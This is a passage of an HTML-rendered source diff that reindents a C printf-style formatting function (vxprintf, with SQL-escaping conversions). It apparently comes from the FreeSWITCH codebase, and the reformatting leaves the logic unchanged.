- uint64_t longvalue; /* Value for integer types */
- LONGDOUBLE_TYPE realvalue; /* Value for real types */
- const et_info *infop; /* Pointer to the appropriate info structure */
- char buf[etBUFSIZE]; /* Conversion buffer */
- char prefix; /* Prefix character. "+" or "-" or " " or '\0'. */
- etByte errorflag = 0; /* True if an error is encountered */
- etByte xtype = 0; /* Conversion paradigm */
- char *zExtra; /* Extra memory used for etTCLESCAPE conversions */
- static const char spaces[] =
- " ";
</del><ins>+static int vxprintf(void (*func) (void *, const char *, int),        /* Consumer of text */
+                                        void *arg,        /* First argument to the consumer */
+                                        int useExtended,        /* Allow extended %-conversions */
+                                        const char *fmt,        /* Format string */
+                                        va_list ap        /* arguments */
+        )
+{
+        int c;                                                /* Next character in the format string */
+        char *bufpt;                                /* Pointer to the conversion buffer */
+        int precision;                                /* Precision of the current field */
+        int length;                                        /* Length of the field */
+        int idx;                                        /* A general purpose loop counter */
+        int count;                                        /* Total number of characters output */
+        int width;                                        /* Width of the current field */
+        etByte flag_leftjustify;        /* True if "-" flag is present */
+        etByte flag_plussign;                /* True if "+" flag is present */
+        etByte flag_blanksign;                /* True if " " flag is present */
+        etByte flag_alternateform;        /* True if "#" flag is present */
+        etByte flag_altform2;                /* True if "!" flag is present */
+        etByte flag_zeropad;                /* True if field width constant starts with zero */
+        etByte flag_long;                        /* True if "l" flag is present */
+        etByte flag_longlong;                /* True if the "ll" flag is present */
+        etByte done;                                /* Loop termination flag */
+        uint64_t longvalue;                        /* Value for integer types */
+        LONGDOUBLE_TYPE realvalue;        /* Value for real types */
+        const et_info *infop;                /* Pointer to the appropriate info structure */
+        char buf[etBUFSIZE];                /* Conversion buffer */
+        char prefix;                                /* Prefix character. "+" or "-" or " " or '\0'. */
+        etByte errorflag = 0;                /* True if an error is encountered */
+        etByte xtype = 0;                        /* Conversion paradigm */
+        char *zExtra;                                /* Extra memory used for etTCLESCAPE conversions */
+        static const char spaces[] = " ";
</ins><span class="cx"> #define etSPACESIZE (sizeof(spaces)-1)
</span><span class="cx"> #ifndef SWITCH_OMIT_FLOATING_POINT
</span><del>- int exp, e2; /* exponent of real numbers */
- double rounder; /* Used for rounding floating point values */
- etByte flag_dp; /* True if decimal point should be shown */
- etByte flag_rtz; /* True if trailing zeros should be removed */
- etByte flag_exp; /* True to force display of the exponent */
- int nsd; /* Number of significant digits returned */
</del><ins>+        int exp, e2;                                /* exponent of real numbers */
+        double rounder;                                /* Used for rounding floating point values */
+        etByte flag_dp;                                /* True if decimal point should be shown */
+        etByte flag_rtz;                        /* True if trailing zeros should be removed */
+        etByte flag_exp;                        /* True to force display of the exponent */
+        int nsd;                                        /* Number of significant digits returned */
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- func(arg,"",0);
- count = length = 0;
- bufpt = 0;
- for(; (c=(*fmt))!=0; ++fmt){
- if ( c!='%' ){
- int amt;
- bufpt = (char *)fmt;
- amt = 1;
- while( (c=(*++fmt))!='%' && c!=0 ) amt++;
- (*func)(arg,bufpt,amt);
- count += amt;
- if ( c==0 ) break;
- }
- if ( (c=(*++fmt))==0 ){
- errorflag = 1;
- (*func)(arg,"%",1);
- count++;
- break;
- }
- /* Find out what flags are present */
- flag_leftjustify = flag_plussign = flag_blanksign =
- flag_alternateform = flag_altform2 = flag_zeropad = 0;
- done = 0;
- do{
- switch( c ){
- case '-': flag_leftjustify = 1; break;
- case '+': flag_plussign = 1; break;
- case ' ': flag_blanksign = 1; break;
- case '#': flag_alternateform = 1; break;
- case '!': flag_altform2 = 1; break;
- case '0': flag_zeropad = 1; break;
- default: done = 1; break;
- }
- }while( !done && (c=(*++fmt))!=0 );
- /* Get the field width */
- width = 0;
- if ( c=='*' ){
- width = va_arg(ap,int);
- if ( width<0 ){
- flag_leftjustify = 1;
- width = -width;
- }
- c = *++fmt;
- }else{
- while( c>='0' && c<='9' ){
- width = width*10 + c - '0';
- c = *++fmt;
- }
- }
- if ( width > etBUFSIZE-10 ){
- width = etBUFSIZE-10;
- }
- /* Get the precision */
- if ( c=='.' ){
- precision = 0;
- c = *++fmt;
- if ( c=='*' ){
- precision = va_arg(ap,int);
- if ( precision<0 ) precision = -precision;
- c = *++fmt;
- }else{
- while( c>='0' && c<='9' ){
- precision = precision*10 + c - '0';
- c = *++fmt;
- }
- }
- }else{
- precision = -1;
- }
- /* Get the conversion type modifier */
- if ( c=='l' ){
- flag_long = 1;
- c = *++fmt;
- if ( c=='l' ){
- flag_longlong = 1;
- c = *++fmt;
- }else{
- flag_longlong = 0;
- }
- }else{
- flag_long = flag_longlong = 0;
- }
- /* Fetch the info entry for the field */
- infop = 0;
- for(idx=0; idx<etNINFO; idx++){
- if ( c==fmtinfo[idx].fmttype ){
- infop = &fmtinfo[idx];
- if ( useExtended || (infop->flags & FLAG_INTERN)==0 ){
- xtype = infop->type;
- }else{
- return -1;
- }
- break;
- }
- }
- zExtra = 0;
- if ( infop==0 ){
- return -1;
- }
</del><ins>+        func(arg, "", 0);
+        count = length = 0;
+        bufpt = 0;
+        for (; (c = (*fmt)) != 0; ++fmt) {
+                if (c != '%') {
+                        int amt;
+                        bufpt = (char *) fmt;
+                        amt = 1;
+                        while ((c = (*++fmt)) != '%' && c != 0)
+                                amt++;
+                        (*func) (arg, bufpt, amt);
+                        count += amt;
+                        if (c == 0)
+                                break;
+                }
+                if ((c = (*++fmt)) == 0) {
+                        errorflag = 1;
+                        (*func) (arg, "%", 1);
+                        count++;
+                        break;
+                }
+                /* Find out what flags are present */
+                flag_leftjustify = flag_plussign = flag_blanksign = flag_alternateform = flag_altform2 = flag_zeropad = 0;
+                done = 0;
+                do {
+                        switch (c) {
+                        case '-':
+                                flag_leftjustify = 1;
+                                break;
+                        case '+':
+                                flag_plussign = 1;
+                                break;
+                        case ' ':
+                                flag_blanksign = 1;
+                                break;
+                        case '#':
+                                flag_alternateform = 1;
+                                break;
+                        case '!':
+                                flag_altform2 = 1;
+                                break;
+                        case '0':
+                                flag_zeropad = 1;
+                                break;
+                        default:
+                                done = 1;
+                                break;
+                        }
+                } while (!done && (c = (*++fmt)) != 0);
+                /* Get the field width */
+                width = 0;
+                if (c == '*') {
+                        width = va_arg(ap, int);
+                        if (width < 0) {
+                                flag_leftjustify = 1;
+                                width = -width;
+                        }
+                        c = *++fmt;
+                } else {
+                        while (c >= '0' && c <= '9') {
+                                width = width * 10 + c - '0';
+                                c = *++fmt;
+                        }
+                }
+                if (width > etBUFSIZE - 10) {
+                        width = etBUFSIZE - 10;
+                }
+                /* Get the precision */
+                if (c == '.') {
+                        precision = 0;
+                        c = *++fmt;
+                        if (c == '*') {
+                                precision = va_arg(ap, int);
+                                if (precision < 0)
+                                        precision = -precision;
+                                c = *++fmt;
+                        } else {
+                                while (c >= '0' && c <= '9') {
+                                        precision = precision * 10 + c - '0';
+                                        c = *++fmt;
+                                }
+                        }
+                } else {
+                        precision = -1;
+                }
+                /* Get the conversion type modifier */
+                if (c == 'l') {
+                        flag_long = 1;
+                        c = *++fmt;
+                        if (c == 'l') {
+                                flag_longlong = 1;
+                                c = *++fmt;
+                        } else {
+                                flag_longlong = 0;
+                        }
+                } else {
+                        flag_long = flag_longlong = 0;
+                }
+                /* Fetch the info entry for the field */
+                infop = 0;
+                for (idx = 0; idx < etNINFO; idx++) {
+                        if (c == fmtinfo[idx].fmttype) {
+                                infop = &fmtinfo[idx];
+                                if (useExtended || (infop->flags & FLAG_INTERN) == 0) {
+                                        xtype = infop->type;
+                                } else {
+                                        return -1;
+                                }
+                                break;
+                        }
+                }
+                zExtra = 0;
+                if (infop == 0) {
+                        return -1;
+                }
</ins><span class="cx">
</span><span class="cx">
</span><del>- /* Limit the precision to prevent overflowing buf[] during conversion */
- if ( precision>etBUFSIZE-40 && (infop->flags & FLAG_STRING)==0 ){
- precision = etBUFSIZE-40;
- }
</del><ins>+                /* Limit the precision to prevent overflowing buf[] during conversion */
+                if (precision > etBUFSIZE - 40 && (infop->flags & FLAG_STRING) == 0) {
+                        precision = etBUFSIZE - 40;
+                }
</ins><span class="cx">
</span><del>- /*
- ** At this point, variables are initialized as follows:
- **
- ** flag_alternateform TRUE if a '#' is present.
- ** flag_altform2 TRUE if a '!' is present.
- ** flag_plussign TRUE if a '+' is present.
- ** flag_leftjustify TRUE if a '-' is present or if the
- ** field width was negative.
- ** flag_zeropad TRUE if the width began with 0.
- ** flag_long TRUE if the letter 'l' (ell) prefixed
- ** the conversion character.
- ** flag_longlong TRUE if the letter 'll' (ell ell) prefixed
- ** the conversion character.
- ** flag_blanksign TRUE if a ' ' is present.
- ** width The specified field width. This is
- ** always non-negative. Zero is the default.
- ** precision The specified precision. The default
- ** is -1.
- ** xtype The class of the conversion.
- ** infop Pointer to the appropriate info struct.
- */
- switch( xtype ){
- case etPOINTER:
- flag_longlong = sizeof(char*)==sizeof(int64_t);
- flag_long = sizeof(char*)==sizeof(long int);
- /* Fall through into the next case */
- case etRADIX:
- if ( infop->flags & FLAG_SIGNED ){
- int64_t v;
- if ( flag_longlong ) v = va_arg(ap,int64_t);
- else if ( flag_long ) v = va_arg(ap,long int);
- else v = va_arg(ap,int);
- if ( v<0 ){
- longvalue = -v;
- prefix = '-';
- }else{
- longvalue = v;
- if ( flag_plussign ) prefix = '+';
- else if ( flag_blanksign ) prefix = ' ';
- else prefix = 0;
- }
- }else{
- if ( flag_longlong ) longvalue = va_arg(ap,uint64_t);
- else if ( flag_long ) longvalue = va_arg(ap,unsigned long int);
- else longvalue = va_arg(ap,unsigned int);
- prefix = 0;
- }
- if ( longvalue==0 ) flag_alternateform = 0;
- if ( flag_zeropad && precision<width-(prefix!=0) ){
- precision = width-(prefix!=0);
- }
- bufpt = &buf[etBUFSIZE-1];
- {
- register const char *cset; /* Use registers for speed */
- register int base;
- cset = &aDigits[infop->charset];
- base = infop->base;
- do{ /* Convert to ascii */
- *(--bufpt) = cset[longvalue%base];
- longvalue = longvalue/base;
- }while( longvalue>0 );
- }
- length = &buf[etBUFSIZE-1]-bufpt;
- for(idx=precision-length; idx>0; idx--){
- *(--bufpt) = '0'; /* Zero pad */
- }
- if ( prefix ) *(--bufpt) = prefix; /* Add sign */
- if ( flag_alternateform && infop->prefix ){ /* Add "0" or "0x" */
- const char *pre;
- char x;
- pre = &aPrefix[infop->prefix];
- if ( *bufpt!=pre[0] ){
- for(; (x=(*pre))!=0; pre++) *(--bufpt) = x;
- }
- }
- length = &buf[etBUFSIZE-1]-bufpt;
- break;
- case etFLOAT:
- case etEXP:
- case etGENERIC:
- realvalue = va_arg(ap,double);
</del><ins>+                /*
+                 ** At this point, variables are initialized as follows:
+                 **
+                 ** flag_alternateform TRUE if a '#' is present.
+                 ** flag_altform2 TRUE if a '!' is present.
+                 ** flag_plussign TRUE if a '+' is present.
+                 ** flag_leftjustify TRUE if a '-' is present or if the
+                 ** field width was negative.
+                 ** flag_zeropad TRUE if the width began with 0.
+                 ** flag_long TRUE if the letter 'l' (ell) prefixed
+                 ** the conversion character.
+                 ** flag_longlong TRUE if the letter 'll' (ell ell) prefixed
+                 ** the conversion character.
+                 ** flag_blanksign TRUE if a ' ' is present.
+                 ** width The specified field width. This is
+                 ** always non-negative. Zero is the default.
+                 ** precision The specified precision. The default
+                 ** is -1.
+                 ** xtype The class of the conversion.
+                 ** infop Pointer to the appropriate info struct.
+                 */
+                switch (xtype) {
+                case etPOINTER:
+                        flag_longlong = sizeof(char *) == sizeof(int64_t);
+                        flag_long = sizeof(char *) == sizeof(long int);
+                        /* Fall through into the next case */
+                case etRADIX:
+                        if (infop->flags & FLAG_SIGNED) {
+                                int64_t v;
+                                if (flag_longlong)
+                                        v = va_arg(ap, int64_t);
+                                else if (flag_long)
+                                        v = va_arg(ap, long int);
+                                else
+                                        v = va_arg(ap, int);
+                                if (v < 0) {
+                                        longvalue = -v;
+                                        prefix = '-';
+                                } else {
+                                        longvalue = v;
+                                        if (flag_plussign)
+                                                prefix = '+';
+                                        else if (flag_blanksign)
+                                                prefix = ' ';
+                                        else
+                                                prefix = 0;
+                                }
+                        } else {
+                                if (flag_longlong)
+                                        longvalue = va_arg(ap, uint64_t);
+                                else if (flag_long)
+                                        longvalue = va_arg(ap, unsigned long int);
+                                else
+                                        longvalue = va_arg(ap, unsigned int);
+                                prefix = 0;
+                        }
+                        if (longvalue == 0)
+                                flag_alternateform = 0;
+                        if (flag_zeropad && precision < width - (prefix != 0)) {
+                                precision = width - (prefix != 0);
+                        }
+                        bufpt = &buf[etBUFSIZE - 1];
+                        {
+                                register const char *cset;        /* Use registers for speed */
+                                register int base;
+                                cset = &aDigits[infop->charset];
+                                base = infop->base;
+                                do {                        /* Convert to ascii */
+                                        *(--bufpt) = cset[longvalue % base];
+                                        longvalue = longvalue / base;
+                                } while (longvalue > 0);
+                        }
+                        length = &buf[etBUFSIZE - 1] - bufpt;
+                        for (idx = precision - length; idx > 0; idx--) {
+                                *(--bufpt) = '0';        /* Zero pad */
+                        }
+                        if (prefix)
+                                *(--bufpt) = prefix;        /* Add sign */
+                        if (flag_alternateform && infop->prefix) {        /* Add "0" or "0x" */
+                                const char *pre;
+                                char x;
+                                pre = &aPrefix[infop->prefix];
+                                if (*bufpt != pre[0]) {
+                                        for (; (x = (*pre)) != 0; pre++)
+                                                *(--bufpt) = x;
+                                }
+                        }
+                        length = &buf[etBUFSIZE - 1] - bufpt;
+                        break;
+                case etFLOAT:
+                case etEXP:
+                case etGENERIC:
+                        realvalue = va_arg(ap, double);
</ins><span class="cx"> #ifndef SWITCH_OMIT_FLOATING_POINT
</span><del>- if ( precision<0 ) precision = 6; /* Set default precision */
- if ( precision>etBUFSIZE/2-10 ) precision = etBUFSIZE/2-10;
- if ( realvalue<0.0 ){
- realvalue = -realvalue;
- prefix = '-';
- }else{
- if ( flag_plussign ) prefix = '+';
- else if ( flag_blanksign ) prefix = ' ';
- else prefix = 0;
- }
- if ( xtype==etGENERIC && precision>0 ) precision--;
</del><ins>+                        if (precision < 0)
+                                precision = 6;        /* Set default precision */
+                        if (precision > etBUFSIZE / 2 - 10)
+                                precision = etBUFSIZE / 2 - 10;
+                        if (realvalue < 0.0) {
+                                realvalue = -realvalue;
+                                prefix = '-';
+                        } else {
+                                if (flag_plussign)
+                                        prefix = '+';
+                                else if (flag_blanksign)
+                                        prefix = ' ';
+                                else
+                                        prefix = 0;
+                        }
+                        if (xtype == etGENERIC && precision > 0)
+                                precision--;
</ins><span class="cx"> #if 0
</span><del>- /* Rounding works like BSD when the constant 0.4999 is used. Wierd! */
- for(idx=precision, rounder=0.4999; idx>0; idx--, rounder*=0.1);
</del><ins>+                        /* Rounding works like BSD when the constant 0.4999 is used. Wierd! */
+                        for (idx = precision, rounder = 0.4999; idx > 0; idx--, rounder *= 0.1);
</ins><span class="cx"> #else
</span><del>- /* It makes more sense to use 0.5 */
- for(idx=precision, rounder=0.5; idx>0; idx--, rounder*=0.1){}
</del><ins>+                        /* It makes more sense to use 0.5 */
+                        for (idx = precision, rounder = 0.5; idx > 0; idx--, rounder *= 0.1) {
+                        }
</ins><span class="cx"> #endif
</span><del>- if ( xtype==etFLOAT ) realvalue += rounder;
- /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */
- exp = 0;
- if ( realvalue>0.0 ){
- while( realvalue>=1e32 && exp<=350 ){ realvalue *= 1e-32; exp+=32; }
- while( realvalue>=1e8 && exp<=350 ){ realvalue *= 1e-8; exp+=8; }
- while( realvalue>=10.0 && exp<=350 ){ realvalue *= 0.1; exp++; }
- while( realvalue<1e-8 && exp>=-350 ){ realvalue *= 1e8; exp-=8; }
- while( realvalue<1.0 && exp>=-350 ){ realvalue *= 10.0; exp--; }
- if ( exp>350 || exp<-350 ){
- bufpt = "NaN";
- length = 3;
- break;
- }
- }
- bufpt = buf;
- /*
- ** If the field type is etGENERIC, then convert to either etEXP
- ** or etFLOAT, as appropriate.
- */
- flag_exp = xtype==etEXP;
- if ( xtype!=etFLOAT ){
- realvalue += rounder;
- if ( realvalue>=10.0 ){ realvalue *= 0.1; exp++; }
- }
- if ( xtype==etGENERIC ){
- flag_rtz = !flag_alternateform;
- if ( exp<-4 || exp>precision ){
- xtype = etEXP;
- }else{
- precision = precision - exp;
- xtype = etFLOAT;
- }
- }else{
- flag_rtz = 0;
- }
- if ( xtype==etEXP ){
- e2 = 0;
- }else{
- e2 = exp;
- }
- nsd = 0;
- flag_dp = (precision>0) | flag_alternateform | flag_altform2;
- /* The sign in front of the number */
- if ( prefix ){
- *(bufpt++) = prefix;
- }
- /* Digits prior to the decimal point */
- if ( e2<0 ){
- *(bufpt++) = '0';
- }else{
- for(; e2>=0; e2--){
- *(bufpt++) = (char)et_getdigit(&realvalue,&nsd);
- }
- }
- /* The decimal point */
- if ( flag_dp ){
- *(bufpt++) = '.';
- }
- /* "0" digits after the decimal point but before the first
- ** significant digit of the number */
- for(e2++; e2<0 && precision>0; precision--, e2++){
- *(bufpt++) = '0';
- }
- /* Significant digits after the decimal point */
- while( (precision--)>0 ){
- *(bufpt++) = (char)et_getdigit(&realvalue,&nsd);
- }
- /* Remove trailing zeros and the "." if no digits follow the "." */
- if ( flag_rtz && flag_dp ){
- while( bufpt[-1]=='0' ) *(--bufpt) = 0;
- assert( bufpt>buf );
- if ( bufpt[-1]=='.' ){
- if ( flag_altform2 ){
- *(bufpt++) = '0';
- }else{
- *(--bufpt) = 0;
- }
- }
- }
- /* Add the "eNNN" suffix */
- if ( flag_exp || (xtype==etEXP && exp) ){
- *(bufpt++) = aDigits[infop->charset];
- if ( exp<0 ){
- *(bufpt++) = '-'; exp = -exp;
- }else{
- *(bufpt++) = '+';
- }
- if ( exp>=100 ){
- *(bufpt++) = (char)(exp/100)+'0'; /* 100's digit */
- exp %= 100;
- }
- *(bufpt++) = (char)exp/10+'0'; /* 10's digit */
- *(bufpt++) = exp%10+'0'; /* 1's digit */
- }
- *bufpt = 0;
</del><ins>+                        if (xtype == etFLOAT)
+                                realvalue += rounder;
+                        /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */
+                        exp = 0;
+                        if (realvalue > 0.0) {
+                                while (realvalue >= 1e32 && exp <= 350) {
+                                        realvalue *= 1e-32;
+                                        exp += 32;
+                                }
+                                while (realvalue >= 1e8 && exp <= 350) {
+                                        realvalue *= 1e-8;
+                                        exp += 8;
+                                }
+                                while (realvalue >= 10.0 && exp <= 350) {
+                                        realvalue *= 0.1;
+                                        exp++;
+                                }
+                                while (realvalue < 1e-8 && exp >= -350) {
+                                        realvalue *= 1e8;
+                                        exp -= 8;
+                                }
+                                while (realvalue < 1.0 && exp >= -350) {
+                                        realvalue *= 10.0;
+                                        exp--;
+                                }
+                                if (exp > 350 || exp < -350) {
+                                        bufpt = "NaN";
+                                        length = 3;
+                                        break;
+                                }
+                        }
+                        bufpt = buf;
+                        /*
+                         ** If the field type is etGENERIC, then convert to either etEXP
+                         ** or etFLOAT, as appropriate.
+                         */
+                        flag_exp = xtype == etEXP;
+                        if (xtype != etFLOAT) {
+                                realvalue += rounder;
+                                if (realvalue >= 10.0) {
+                                        realvalue *= 0.1;
+                                        exp++;
+                                }
+                        }
+                        if (xtype == etGENERIC) {
+                                flag_rtz = !flag_alternateform;
+                                if (exp < -4 || exp > precision) {
+                                        xtype = etEXP;
+                                } else {
+                                        precision = precision - exp;
+                                        xtype = etFLOAT;
+                                }
+                        } else {
+                                flag_rtz = 0;
+                        }
+                        if (xtype == etEXP) {
+                                e2 = 0;
+                        } else {
+                                e2 = exp;
+                        }
+                        nsd = 0;
+                        flag_dp = (precision > 0) | flag_alternateform | flag_altform2;
+                        /* The sign in front of the number */
+                        if (prefix) {
+                                *(bufpt++) = prefix;
+                        }
+                        /* Digits prior to the decimal point */
+                        if (e2 < 0) {
+                                *(bufpt++) = '0';
+                        } else {
+                                for (; e2 >= 0; e2--) {
+                                        *(bufpt++) = (char) et_getdigit(&realvalue, &nsd);
+                                }
+                        }
+                        /* The decimal point */
+                        if (flag_dp) {
+                                *(bufpt++) = '.';
+                        }
+                        /* "0" digits after the decimal point but before the first
+                         ** significant digit of the number */
+                        for (e2++; e2 < 0 && precision > 0; precision--, e2++) {
+                                *(bufpt++) = '0';
+                        }
+                        /* Significant digits after the decimal point */
+                        while ((precision--) > 0) {
+                                *(bufpt++) = (char) et_getdigit(&realvalue, &nsd);
+                        }
+                        /* Remove trailing zeros and the "." if no digits follow the "." */
+                        if (flag_rtz && flag_dp) {
+                                while (bufpt[-1] == '0')
+                                        *(--bufpt) = 0;
+                                assert(bufpt > buf);
+                                if (bufpt[-1] == '.') {
+                                        if (flag_altform2) {
+                                                *(bufpt++) = '0';
+                                        } else {
+                                                *(--bufpt) = 0;
+                                        }
+                                }
+                        }
+                        /* Add the "eNNN" suffix */
+                        if (flag_exp || (xtype == etEXP && exp)) {
+                                *(bufpt++) = aDigits[infop->charset];
+                                if (exp < 0) {
+                                        *(bufpt++) = '-';
+                                        exp = -exp;
+                                } else {
+                                        *(bufpt++) = '+';
+                                }
+                                if (exp >= 100) {
+                                        *(bufpt++) = (char) (exp / 100) + '0';        /* 100's digit */
+                                        exp %= 100;
+                                }
+                                *(bufpt++) = (char) exp / 10 + '0';        /* 10's digit */
+                                *(bufpt++) = exp % 10 + '0';        /* 1's digit */
+                        }
+                        *bufpt = 0;
</ins><span class="cx">
</span><del>- /* The converted number is in buf[] and zero terminated. Output it.
- ** Note that the number is in the usual order, not reversed as with
- ** integer conversions. */
- length = bufpt-buf;
- bufpt = buf;
</del><ins>+                        /* The converted number is in buf[] and zero terminated. Output it.
+                         ** Note that the number is in the usual order, not reversed as with
+                         ** integer conversions. */
+                        length = bufpt - buf;
+                        bufpt = buf;
</ins><span class="cx">
</span><del>- /* Special case: Add leading zeros if the flag_zeropad flag is
- ** set and we are not left justified */
- if ( flag_zeropad && !flag_leftjustify && length < width){
- int i;
- int nPad = width - length;
- for(i=width; i>=nPad; i--){
- bufpt[i] = bufpt[i-nPad];
- }
- i = prefix!=0;
- while( nPad-- ) bufpt[i++] = '0';
- length = width;
- }
</del><ins>+                        /* Special case: Add leading zeros if the flag_zeropad flag is
+                         ** set and we are not left justified */
+                        if (flag_zeropad && !flag_leftjustify && length < width) {
+                                int i;
+                                int nPad = width - length;
+                                for (i = width; i >= nPad; i--) {
+                                        bufpt[i] = bufpt[i - nPad];
+                                }
+                                i = prefix != 0;
+                                while (nPad--)
+                                        bufpt[i++] = '0';
+                                length = width;
+                        }
</ins><span class="cx"> #endif
</span><del>- break;
- case etSIZE:
- *(va_arg(ap,int*)) = count;
- length = width = 0;
- break;
- case etPERCENT:
- buf[0] = '%';
- bufpt = buf;
- length = 1;
- break;
- case etCHARLIT:
- case etCHARX:
- c = buf[0] = (char)(xtype==etCHARX ? va_arg(ap,int) : *++fmt);
- if ( precision>=0 ){
- for(idx=1; idx<precision; idx++) buf[idx] = (char)c;
- length = precision;
- }else{
- length =1;
- }
- bufpt = buf;
- break;
- case etSTRING:
- case etDYNSTRING:
- bufpt = va_arg(ap,char*);
- if ( bufpt==0 ){
- bufpt = "";
- }else if ( xtype==etDYNSTRING ){
- zExtra = bufpt;
- }
- length = strlen(bufpt);
- if ( precision>=0 && precision<length ) length = precision;
- break;
- case etSQLESCAPE:
- case etSQLESCAPE2:
- case etSQLESCAPE3: {
- int i, j, n, ch, isnull;
- int needQuote;
- char *escarg = va_arg(ap,char*);
- isnull = escarg==0;
- if ( isnull ) escarg = (xtype==etSQLESCAPE2 ? "NULL" : "(NULL)");
- for(i=n=0; (ch=escarg[i])!=0; i++){
-                        if ( ch=='\'' || (xtype==etSQLESCAPE3 && ch=='\\')) n++;
- }
- needQuote = !isnull && xtype==etSQLESCAPE2;
- n += i + 1 + needQuote*2;
- if ( n>etBUFSIZE ){
- bufpt = zExtra = malloc( n );
- if ( bufpt==0 ) return -1;
- }else{
- bufpt = buf;
- }
- j = 0;
- if ( needQuote ) bufpt[j++] = '\'';
- for(i=0; (ch=escarg[i])!=0; i++){
- bufpt[j++] = (char)ch;
- if ( ch=='\'' || ( xtype==etSQLESCAPE3 && ch=='\\')) bufpt[j++] = (char)ch;
- }
- if ( needQuote ) bufpt[j++] = '\'';
- bufpt[j] = 0;
- length = j;
- /* The precision is ignored on %q and %Q */
- /* if ( precision>=0 && precision<length ) length = precision; */
- break;
- }
</del><ins>+                        break;
+                case etSIZE:
+                        *(va_arg(ap, int *)) = count;
+                        length = width = 0;
+                        break;
+                case etPERCENT:
+                        buf[0] = '%';
+                        bufpt = buf;
+                        length = 1;
+                        break;
+                case etCHARLIT:
+                case etCHARX:
+                        c = buf[0] = (char) (xtype == etCHARX ? va_arg(ap, int) : *++fmt);
+                        if (precision >= 0) {
+                                for (idx = 1; idx < precision; idx++)
+                                        buf[idx] = (char) c;
+                                length = precision;
+                        } else {
+                                length = 1;
+                        }
+                        bufpt = buf;
+                        break;
+                case etSTRING:
+                case etDYNSTRING:
+                        bufpt = va_arg(ap, char *);
+                        if (bufpt == 0) {
+                                bufpt = "";
+                        } else if (xtype == etDYNSTRING) {
+                                zExtra = bufpt;
+                        }
+                        length = strlen(bufpt);
+                        if (precision >= 0 && precision < length)
+                                length = precision;
+                        break;
+                case etSQLESCAPE:
+                case etSQLESCAPE2:
+                case etSQLESCAPE3:{
+                                int i, j, n, ch, isnull;
+                                int needQuote;
+                                char *escarg = va_arg(ap, char *);
+                                isnull = escarg == 0;
+                                if (isnull)
+                                        escarg = (xtype == etSQLESCAPE2 ? "NULL" : "(NULL)");
+                                for (i = n = 0; (ch = escarg[i]) != 0; i++) {
+                                        if (ch == '\'' || (xtype == etSQLESCAPE3 && ch == '\\'))
+                                                n++;
+                                }
+                                needQuote = !isnull && xtype == etSQLESCAPE2;
+                                n += i + 1 + needQuote * 2;
+                                if (n > etBUFSIZE) {
+                                        bufpt = zExtra = malloc(n);
+                                        if (bufpt == 0)
+                                                return -1;
+                                } else {
+                                        bufpt = buf;
+                                }
+                                j = 0;
+                                if (needQuote)
+                                        bufpt[j++] = '\'';
+                                for (i = 0; (ch = escarg[i]) != 0; i++) {
+                                        bufpt[j++] = (char) ch;
+                                        if (ch == '\'' || (xtype == etSQLESCAPE3 && ch == '\\'))
+                                                bufpt[j++] = (char) ch;
+                                }
+                                if (needQuote)
+                                        bufpt[j++] = '\'';
+                                bufpt[j] = 0;
+                                length = j;
+                                /* The precision is ignored on %q and %Q */
+                                /* if ( precision>=0 && precision<length ) length = precision; */
+                                break;
+                        }
</ins><span class="cx"> #ifdef __UNSUPPORTED__
</span><del>- case etTOKEN: {
- Token *pToken = va_arg(ap, Token*);
- if ( pToken && pToken->z ){
- (*func)(arg, (char*)pToken->z, pToken->n);
- }
- length = width = 0;
- break;
- }
- case etSRCLIST: {
- SrcList *pSrc = va_arg(ap, SrcList*);
- int k = va_arg(ap, int);
- struct SrcList_item *pItem = &pSrc->a[k];
- assert( k>=0 && k<pSrc->nSrc );
- if ( pItem->zDatabase && pItem->zDatabase[0] ){
- (*func)(arg, pItem->zDatabase, strlen(pItem->zDatabase));
- (*func)(arg, ".", 1);
- }
- (*func)(arg, pItem->zName, strlen(pItem->zName));
- length = width = 0;
- break;
- }
</del><ins>+                case etTOKEN:{
+                                Token *pToken = va_arg(ap, Token *);
+                                if (pToken && pToken->z) {
+                                        (*func) (arg, (char *) pToken->z, pToken->n);
+                                }
+                                length = width = 0;
+                                break;
+                        }
+                case etSRCLIST:{
+                                SrcList *pSrc = va_arg(ap, SrcList *);
+                                int k = va_arg(ap, int);
+                                struct SrcList_item *pItem = &pSrc->a[k];
+                                assert(k >= 0 && k < pSrc->nSrc);
+                                if (pItem->zDatabase && pItem->zDatabase[0]) {
+                                        (*func) (arg, pItem->zDatabase, strlen(pItem->zDatabase));
+                                        (*func) (arg, ".", 1);
+                                }
+                                (*func) (arg, pItem->zName, strlen(pItem->zName));
+                                length = width = 0;
+                                break;
+                        }
</ins><span class="cx"> #endif
</span><del>- }/* End switch over the format type */
- /*
- ** The text of the conversion is pointed to by "bufpt" and is
- ** "length" characters long. The field width is "width". Do
- ** the output.
- */
- if ( !flag_leftjustify ){
- register int nspace;
- nspace = width-length;
- if ( nspace>0 ){
- count += nspace;
- while( nspace>=etSPACESIZE ){
- (*func)(arg,spaces,etSPACESIZE);
- nspace -= etSPACESIZE;
- }
- if ( nspace>0 ) (*func)(arg,spaces,nspace);
- }
- }
- if ( length>0 ){
- (*func)(arg,bufpt,length);
- count += length;
- }
- if ( flag_leftjustify ){
- register int nspace;
- nspace = width-length;
- if ( nspace>0 ){
- count += nspace;
- while( nspace>=etSPACESIZE ){
- (*func)(arg,spaces,etSPACESIZE);
- nspace -= etSPACESIZE;
- }
- if ( nspace>0 ) (*func)(arg,spaces,nspace);
- }
- }
- if ( zExtra ){
- free(zExtra);
- }
- }/* End for loop over the format string */
- return errorflag ? -1 : count;
-} /* End of function */
</del><ins>+                }                                                /* End switch over the format type */
+                /*
+                 ** The text of the conversion is pointed to by "bufpt" and is
+                 ** "length" characters long. The field width is "width". Do
+                 ** the output.
+                 */
+                if (!flag_leftjustify) {
+                        register int nspace;
+                        nspace = width - length;
+                        if (nspace > 0) {
+                                count += nspace;
+                                while (nspace >= etSPACESIZE) {
+                                        (*func) (arg, spaces, etSPACESIZE);
+                                        nspace -= etSPACESIZE;
+                                }
+                                if (nspace > 0)
+                                        (*func) (arg, spaces, nspace);
+                        }
+                }
+                if (length > 0) {
+                        (*func) (arg, bufpt, length);
+                        count += length;
+                }
+                if (flag_leftjustify) {
+                        register int nspace;
+                        nspace = width - length;
+                        if (nspace > 0) {
+                                count += nspace;
+                                while (nspace >= etSPACESIZE) {
+                                        (*func) (arg, spaces, etSPACESIZE);
+                                        nspace -= etSPACESIZE;
+                                }
